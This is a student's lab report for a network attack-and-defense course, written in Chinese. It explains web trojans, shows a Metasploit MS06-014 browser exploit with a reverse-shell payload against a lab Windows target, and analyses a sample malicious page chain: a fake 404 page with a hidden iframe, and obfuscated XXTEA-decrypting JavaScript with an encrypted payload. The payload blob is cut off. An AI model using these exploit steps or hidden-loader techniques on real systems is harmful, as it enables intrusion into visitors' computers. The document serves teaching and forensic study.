20212928 2021-2022-2 《网络攻防实践》第13周作业
1.实践基础知识
1)Web浏览器的技术发展与安全威胁
- Web浏览器战争与技术发展
-
浏览器战争
浏览器大战,指不同的网络浏览器之间的市场份额竞争。常用来指以下两组竞争:第一组是20世纪时微软公司的Internet Explorer取代了网景公司,Netscape Navigator主导地位,这场大战甚至引发了美国诉微软案官司。第二组为2003年后Internet Explorer份额遭其他浏览器蚕食,包括Mozilla Firefox,Google Chrome,Safari和Opera -
浏览器技术发展
古典命令行浏览器仅仅实现了简单的HTTP客户端、HTML解析与渲染功能,而在浏览器的商业竞争中,出现了高度注重用户使用感受的图形界面浏览器软件,并逐步提供了图片、音视频等多媒体的支持,逐步进化目前互联网用户所依赖的现代浏览器 -
现代Web浏览器的基本结构与机理
目前的现代Web浏览器要求能够理解和支持HTML和XHTML、CascadingStyleSheets (CSS)、ECMAScript及W3C Document Object Model (DOM)等一系列标准需要支持各种应用层协议的Stream流接收与解析,并维护DOM对象模型结构,通过支持EMCAScript标准构建JavaScript. FlashActionScript等客户端脚本语言的执行环境,以及支持CSS标准控制页面的布局,最终在浏览器终端中将服务器端的各种流媒体对象、应用程序、客户端脚本执行效果进行渲染,展现给终端用户
-
- Web浏览器的安全问题与威胁
- Web浏览器软件的安全困境三要素
复杂性:现代Web浏览器软件由于需要支持HTTP、HTTPS、 FTP等多种类型的应用层协议浏览,符合HTML、XHTML、CSS等一系列的页面标准规范,支持JavaScript、Flash、Java、 SilverLight 等多种客户端执行环境,并满足大量的用户浏览需求,已经变得非常复杂和庞大,这意味着更多的错误和安全缺陷,也就导致了目前浏览器软件中存在着可被渗透攻击所利用的大量安全漏洞。
可扩展性:现代Web浏览器可能是最突出可扩展特性支持的软件类型,目前儿乎所有的现代浏览器软件都支持第三方插件扩展机制,并通过JavaScript等客户端脚本执行环境、沙箱和虚拟机来执行富Internet应用程序。而相对于大型软件厂商所开发的浏览器软件本身而言,三方扩展插件的开发过程更缺乏安全保证,出现安全漏洞的情况更为普遍。此外,浏览器插件一般也不具备自动版本更新的机制,安全漏洞被利用的时间周期较系统软件与浏览器软件本身漏洞要长。
连通性:现代Web浏览器本身就是为用户实现“随时随地浏览互联网”这一目标而存在的,因此浏览器软件始终工作在联网状态,一旦其中存在安全漏洞,就很容易被网络上的威胁源所利用与攻击。 - Web浏览器安全威胁位置
如同Web应用服务端一样,Web浏览魂晶中的每个组件都面对着各种不同类型的安全威胁:
a.针对传输网络的网络协议安全威胁
b.针对Web了浏览器系统的平台安全威胁
c.针对Web浏览器软件及插件程序的渗透攻击威胁
d.针对互联网用户的社会工程学攻击威胁
2)Web浏览端的渗透攻击威胁——网页木马
- Web浏览器软件的安全困境三要素
- 网页木马安全威胁的产生背景
- 网页木马的产生与发展背景
网页木马是从而以网页脚本所孕育和发展出来的,如早期的的浏览器主页劫持、网页炸弹等。而黑客们进一步发掘出在浏览器端执行的恶意网页脚本能够利用客户端软件安全漏洞来获取访问权的机会,在浏览断之如恶意程序或进行其他任意操作,从而发展出网页木马这种较新的网络攻击技术 - web浏览安全威胁类型
网络钓鱼(Phishing):架设钓鱼网站,如知名金融机构及商务网站,发送大量欺骗性垃圾邮件,诱骗因特网用户访问钓鱼网站并以敏感信息登录,最后滥用个人敏感信息
恶意木马与流氓软件下载:主要包括两大问题:软件捆绑安装问题 ,Web浏览时遭遇的软件信任问题
网页木马-浏览器渗透攻击:网页感染已成为国内互联网最重要的恶意代码传播形式不良信息内容
- 网页木马的产生与发展背景
- 网页木马的机理分析
-
网页木马的定性特性
网页木马从本质特性上是利用了现代Web浏览器软件中所支持的客户端脚本执行能力,针对Web浏览端软件安全漏洞实施客户端渗透攻击,从而取得在客户端主机的远程代码执行权限来植入恶意程序。从根本上来说,网页木马是针对Web浏览端软件实施的客户端渗透攻击代码。 -
对网页木马机理的全方位分析与理解
与传统的服务器端渗透攻击可以主动的进行网络扫描与攻击不同,网页木马的攻击是被动式的,需要通过一些技术方法来诱使互联网用户来访问网页木马页面。此外在网页木马通过渗透攻击获得远程客户端执行权限后,为了进行进一步的主机控制和敏感信息窃取,一般需要植入一些盗号木马等类型的恶意程序。黑客为了更为高效地实施网页木马这种复杂的攻击场景,建立了一套具有明确的社会职责分工的网页木马攻击技术流程:
a.病毒编写者负责实现网页木马和传统的盗号木马
b.网络骇客出卖网站访问者或攻陷不安全的网站
c.“信封”盗窃者在木马宿主站点上放置网页木马和传统盗号木马,并通过在大量网站中嵌入恶意链接将访问者重定向至网页木马,从而构建网页木马攻击网络
d.受害者在访问挂马网站时,就会自动地链接网页木马并被其功绩,植入传统盗号木马,进而被盗取“信封”和虚拟资产
-
网页挂马机制
为使得能够有终端用户使用可能存在安全漏洞的Web浏览端软件来访问网页木马,攻击者还需要将网页木马挂接到一些拥有客户访问流量的网站页面上
网页挂马四策略:
内嵌HTML标签:使用内嵌HTML标签,将网页木马链接嵌入到网站首页或其他页面中
恶意Script脚本:利用script脚本标签通过外部引用脚本的方式来包含网页木马
内嵌对象链接:利用图片、Flash等内嵌对象中的特定方法来完成指定页面的加载
ARP欺骗挂马:在以上三类网站挂马策略基础上,危害更高的策略 -
混淆机制
提高反病毒工程师的分析难度,从而使得网页木马攻击网络更加难以被检测和摧毁.
比较广泛使用的混淆方法:
将代码重新排版,去除缩进、空行、换行、注释等,同时将网页木马中的变量名替换为一组合法的随机字符串,使其失去自我描述的能力,从而干扰阅读分析
通过大小写变换、十六进制编码、escape编码、unicode编码等方法对网页木马进行编码混淆
通过通用或定制的加密工具对网页木马进行加密得到密文,然后使用脚本语言中包含的解密函数,对密文进行解密,再使用 document.write() 或 eval() 进行动态输出或执行,此类混淆方法例如XXTEA网页加密工具
利用字符串运算、数学运算或特殊函数可以混淆代码,一个典型的例子是通过字符串替换函数将网页木马中的一些字符替换为其他字符构成混淆后代码,然后在运行时首先替换回原先的字符,然后进行动态执行
修改网页木马文件掩码欺骗反病毒软件,或对网页木马文件结构进行混淆,来伪装正常文件,甚至将网页木马代码拆分至多个文件等
-
- 网页木马防范措施
提升操作系统与浏览器软件的安全性,如第三方插件自动更新
安装反病毒软件
养成良好的浏览习惯,借助安全评估工具的帮助,避免访问安全性低的网站 - 挂马的方式
- 为了保持网页木马的隐蔽性,网马会选择各种方法隐藏自己,如利用各种标签隐藏自己、代码中使用加密、混淆的技术,目的是降低被发现的可能性
- HTML隐藏标签
- JavaScript代码中引入
- 其他网页技术
- 其他挂马技术
2.实践过程
(1)web浏览器渗透攻击
任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
实验步骤:
①选择使用Metasploit中的MS06-014渗透攻击模块
②选择PAYLOAD为任意远程Shell连接
③设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本
④在靶机环境中启动浏览器,验证与服务器的连通性,并访问而已网页木马脚本URL
⑤在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令
实验环境如下:
名称 | IP |
---|---|
Kali | 192.168.200.4 |
Win2kServer | 192.168.200.124 |
具体实验过程如下:
1)在kali中输入sudo su 进入根权限,之后输入 命令msfconsole ,打开Metasploit,如下图:
2)输入命令search MS06-014 ,搜索MS06-014渗透攻击模块,发现只有一个可用的攻击模块
3)输入use 0,使用该模块进行攻击,如下图:
4)* 输入命令set LHOST 192.168.200.4来设置攻击机地址;
- 输入命令set payload windows/meterpreter/reverse_tcp设置载荷;
- 输入exploit进行攻击
攻击后,如下图所示,我们可以发现一个有木马的网址,网址为http://192.168.200.4:8080/EsATcVe
5)在靶机中访问上述木马地址,访问后可以发现会出现一串字母,如下图所示:
6)回到攻击机中发现建立会话(前两次一直失败,后面问题说明中进行说明)
7)最后我们验证会话是否有效,用sessions查看连接。
8)使用指令sessions -i 1打开会话1,此时攻击机即可在靶机上执行命令
9)用ifconfig命令可以查看靶机地址为192.168.200.124
10)输入md20212928pcl 然后载靶机中发现确实创建了文件夹
(2)取证分析实践—网页木马攻击场景分析
实践过程:
①首先你应该访问start.html,在这个文件中给出了new09.htm的地址,
②在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到 http://192.168.68.253/scom/hashed/哈希值下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。
③如果解密出的地址给出的是网页或脚本文件,请继续解密。
④如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。
⑤重复以上过程直到这些文件被全部分析完成。
具体过程如下:
1)首先我们应该访问实验指导书中给出的 start.html 文件,但考虑到这个文件中包含了new09.htm是恶意网站的入口,我们不直接在浏览器中打开它,而把它下载下来。下载以后用记事本打开,
搜索“new09.htm”,找到两处,如下图:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html dir=ltr>
<head>
<style>
a:link {font:9pt/11pt 宋体; color:FF0000}
a:visited {font:9pt/11pt 宋体; color:#4e4e4e}
</style>
<META NAME="ROBOTS" CONTENT="NOINDEX">
<title>找不到网页</title>
<META HTTP-EQUIV="Content-Type" Content="text-html; charset=gb2312">
</head>
<script>
function Homepage(){
<!--
// in real bits, urls get returned to our script like this:
// res://shdocvw.dll/http_404.htm#http://www.DocURL.com/bar.htm
//For testing use DocURL =
"res://shdocvw.dll/http_404.htm#https://www.microsoft.com/bar.htm"
DocURL = document.URL;
//this is where the http or https will be, as found by searching for :// but skipping
the res://
protocolIndex=DocURL.indexOf("://",4);
//this finds the ending slash for the domain server
serverIndex=DocURL.indexOf("/",protocolIndex + 3);
//for the href, we need a valid URL to the domain. We search for the # symbol
to find the begining
//of the true URL, and add 1 to skip it - this is the BeginURL value. We use
serverIndex as the end marker.
//urlresult=DocURL.substring(protocolIndex - 4,serverIndex);
BeginURL=DocURL.indexOf("#",1) + 1;
urlresult="new09.htm";
//for display, we need to skip after http://, and go to the next slash
displayresult=DocURL.substring(protocolIndex + 3 ,serverIndex);
InsertElementAnchor(urlresult, displayresult);
}
function HtmlEncode(text)
{
return text.replace(/&/g, '&').replace(/'/g, '"').replace(/</g,
'<').replace(/>/g, '>');
}
function TagAttrib(name, value)
{
return ' '+name+'="'+HtmlEncode(value)+'"';
}
function PrintTag(tagName, needCloseTag, attrib, inner){
document.write( '<' + tagName + attrib + '>' + HtmlEncode(inner) );
if (needCloseTag) document.write( '</' + tagName +'>' );
}
function URI(href)
{
IEVer = window.navigator.appVersion;
IEVer = IEVer.substr( IEVer.indexOf('MSIE') + 5, 3 );
return (IEVer.charAt(1)=='.' && IEVer >= '5.5') ?
encodeURI(href) :
escape(href).replace(/%3A/g, ':').replace(/%3B/g, ';');
}
function InsertElementAnchor(href, text)
{
PrintTag('A', true, TagAttrib('HREF', URI(href)), text);
}
//-->
</script>
<body bgcolor="FFFFFF">
<table width="410" cellpadding="3" cellspacing="5">
<tr>
<td align="left" valign="middle" width="360">
<h1 style="COLOR:000000; FONT: 12pt/15pt 宋体"><!--Problem-->找不到网页</h1>
</td>
</tr>
<tr>
<td width="400" colspan="2">
<font style="COLOR:000000; FONT: 9pt/11pt 宋体">正在查找的网页可能已被删除、重
命名或暂时不可用。</font></td>
</tr>
<tr>
<td width="400" colspan="2">
<font style="COLOR:000000; FONT: 9pt/11pt 宋体">
<hr color="#C0C0C0" noshade>
<p>请尝试执行下列操作:</p>
<ul>
<li>如果是在“地址”栏中键入了网页地址,请检查其拼写是否正确。<br></li>
<li>打开 <script>
<!--
if (!((window.navigator.userAgent.indexOf("MSIE") > 0) &&
(window.navigator.appVersion.charAt(0) == "2")))
{
Homepage();
}
//-->
</script>
主页,然后查找与所需信息相关的链接。</li>
<li>单击<a href="javascript:history.back(1)">后退</a>按钮尝试其他链接。</li>
</ul>
<h2 style="font:9pt/11pt 宋体; color:000000">HTTP 错误 404 - 找不到文件<br>
Internet 信息服务<BR></h2>
<hr color="#C0C0C0" noshade>
<p>技术信息(用于支持人员)</p>
<ul>
<li> 详 细 信 息 : <br><a
href="http://www.microsoft.com/ContentRedirect.asp?prd=iis&sbp=&pver=5.0&pid=&ID=40
4&cat=web&os=&over=&hrd=&Opt1=&Opt2=&Opt3=" target="_blank">Microsoft 支持</a>
</li>
</ul>
</font></td>
</tr>
</table>
<iframe src="new09.htm" width="0" height="0"></iframe>
</body>
</html>
2)从这两处可以看出 start.html 文件在引用 new09.htm 文件时没有写绝对路径,所以new09.htm 文件与 start.html 文件在同一目录下。同样,下载下来并用记事本打开,可以发现引用两个文件,
一个是http://aa.18dd.net/aa/kl.htm 文件,另一个是 http://js.users.51.la/1299644.js 文件。如下图:
3)接下来分别对它们作 MD5 散列,得到结果如下图:
4)在文件夹中分别找上述对应Hash值的文件,并打开,可以发现, 第一个文件23180a42a2ff1192150231b44ffdf3d3 中的内容不是我们要找的,第二个文件看起很复杂看起来像我们要找的文件。
<script language =javascript>
function utf8to16(mBm1){var YAgps2,z$EnNkblS3,_J$OCI4,JULuNO5;var
K6,VjOzlmshy7;YAgps2=[];_J$OCI4=mBm1["\x6c\x65\x6e\x67\x74\x68"];z$EnNkblS3=0;while
(z$EnNkblS3<_J$OCI4){JULuNO5=mBm1["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](z$EnN
kblS3++);switch(JULuNO5>>4)
{case 0:case 1:case 2:case 3:case 4:case 5:case 6:case
7:YAgps2[YAgps2["\x6c\x65\x6e\x67\x74\x68"]]=mBm1["\x63\x68\x61\x72\x41\x74"](z$EnN
kblS3-1);break;case 12:case
13:K6=mBm1["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](z$EnNkblS3++);YAgps2[YAgps2[
"\x6c\x65\x6e\x67\x74\x68"]]=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x
43\x68\x61\x72\x43\x6f\x64\x65"](((JULuNO5&0x1F)<<6)|(K6&0x3F));break;case
14:K6=mBm1["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](z$EnNkblS3++);VjOzlmshy7=mBm
1["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](z$EnNkblS3++);YAgps2[YAgps2["\x6c\x65
\x6e\x67\x74\x68"]]=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x6
1\x72\x43\x6f\x64\x65"](((JULuNO5&0x0F)<<12)|((K6&0x3F)<<6)|((VjOzlmshy7&0x3F)<<0))
;break;}}
return YAgps2["\x6a\x6f\x69\x6e"]('');}
var MsIRays8=new
window["\x41\x72\x72\x61\x79"](-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-
1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,62,-1,
-1,-1,63,52,53,54,55,56,57,58,59,60,61,-1,-1,-1,-1,-1,-1,-1,0,1,2,3,4,5,6,7,8,9,10,
11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,-1,26,27,28,29,30,31,32
,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,-1,-1,-1,-1,-1);
function base64decode(Xs9)
{var UlBDOqT10,CKF11,ClCCjp12,gt13;var
qCZsfjn14,uAcMH15,Yuv16;uAcMH15=Xs9["\x6c\x65\x6e\x67\x74\x68"];qCZsfjn14=0;Yuv16 =
"";while(qCZsfjn14<uAcMH15)
{do
{UlBDOqT10=MsIRays8[Xs9["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](qCZsfjn14++)&0x
ff]}while(qCZsfjn14<uAcMH15&&UlBDOqT10==-1);if(UlBDOqT10==-1)
break;do
{CKF11=MsIRays8[Xs9["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](qCZsfjn14++)&0xff]}
while(qCZsfjn14<uAcMH15&&CKF11==-1);if(CKF11==-1)
break;Yuv16+=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x
43\x6f\x64\x65"]((UlBDOqT10<<2)|((CKF11&0x30)>>4));do
{ClCCjp12=Xs9["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](qCZsfjn14++)&0xff;if(ClCC
jp12==61)
return
Yuv16;ClCCjp12=MsIRays8[ClCCjp12]}while(qCZsfjn14<uAcMH15&&ClCCjp12==-1);if(ClCCjp1
2==-1)
break;Yuv16+=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x
43\x6f\x64\x65"](((CKF11&0XF)<<4)|((ClCCjp12&0x3C)>>2));do
{gt13=Xs9["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](qCZsfjn14++)&0xff;if(gt13==61
)
return Yuv16;gt13=MsIRays8[gt13]}while(qCZsfjn14<uAcMH15&>13==-1);if(gt13==-1)
break;Yuv16+=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x
43\x6f\x64\x65"](((ClCCjp12&0x03)<<6)|gt13)}
return Yuv16}
function long2str(v,KDGWFiv17){var Wp18=v["\x6c\x65\x6e\x67\x74\x68"];var
tGRDob19=v[Wp18-1]&0xffffffff;for(var EGOTt20=0;EGOTt20<Wp18;EGOTt20++)
{v[EGOTt20]=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x4
3\x6f\x64\x65"](v[EGOTt20]&0xff,v[EGOTt20]>>>8&0xff,v[EGOTt20]>>>16&0xff,v[EGOTt20]
>>>24&0xff);}
if(KDGWFiv17){return
v["\x6a\x6f\x69\x6e"]('')["\x73\x75\x62\x73\x74\x72\x69\x6e\x67"](0,tGRDob19);}
else{return v["\x6a\x6f\x69\x6e"]('');}}
function str2long(u$21,LskoLvqb22){var cFeuCN23=u$21["\x6c\x65\x6e\x67\x74\x68"];var
YQ_c24=[];for(var GapMYiRr25=0;GapMYiRr25<cFeuCN23;GapMYiRr25+=4)
{YQ_c24[GapMYiRr25>>2]=u$21["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](GapMYiRr25)
|u$21["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](GapMYiRr25+1)<<8|u$21["\x63\x68\x
61\x72\x43\x6f\x64\x65\x41\x74"](GapMYiRr25+2)<<16|u$21["\x63\x68\x61\x72\x43\x6f\x
64\x65\x41\x74"](GapMYiRr25+3)<<24;}
if(LskoLvqb22){YQ_c24[YQ_c24["\x6c\x65\x6e\x67\x74\x68"]]=cFeuCN23;}
return YQ_c24;}
function xxtea_decrypt(tFX26,Su27){if(tFX26==""){return"";}
var ArazzKi28=str2long(tFX26,false);var DhTWjwXc29=str2long(Su27,false);var
u_RIHeIWV30=ArazzKi28["\x6c\x65\x6e\x67\x74\x68"]-1;var
ttraIAo31=ArazzKi28[u_RIHeIWV30-1],lLMsWz32=ArazzKi28[0],B33=0x9E3779B9;var
pDDucrd34,F$s35,MsOR36=window["\x4d\x61\x74\x68"]["\x66\x6c\x6f\x6f\x72"](6+52/(u_R
IHeIWV30+1)),ipNggI37=MsOR36*B33&0xffffffff;while(ipNggI37!=0){F$s35=ipNggI37>>>2&3
;for(var
WkXem38=u_RIHeIWV30;WkXem38>0;WkXem38--){ttraIAo31=ArazzKi28[WkXem38-1];pDDucrd34=(
ttraIAo31>>>5^lLMsWz32<<2)+(lLMsWz32>>>3^ttraIAo31<<4)^(ipNggI37^lLMsWz32)+(DhTWjwX
c29[WkXem38&3^F$s35]^ttraIAo31);lLMsWz32=ArazzKi28[WkXem38]=ArazzKi28[WkXem38]-pDDu
crd34&0xffffffff;}
ttraIAo31=ArazzKi28[u_RIHeIWV30];pDDucrd34=(ttraIAo31>>>5^lLMsWz32<<2)+(lLMsWz32>>>
3^ttraIAo31<<4)^(ipNggI37^lLMsWz32)+(DhTWjwXc29[WkXem38&3^F$s35]^ttraIAo31);lLMsWz3
2=ArazzKi28[0]=ArazzKi28[0]-pDDucrd34&0xffffffff;ipNggI37=ipNggI37-B33&0xffffffff;}
return long2str(ArazzKi28,true);}
t="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
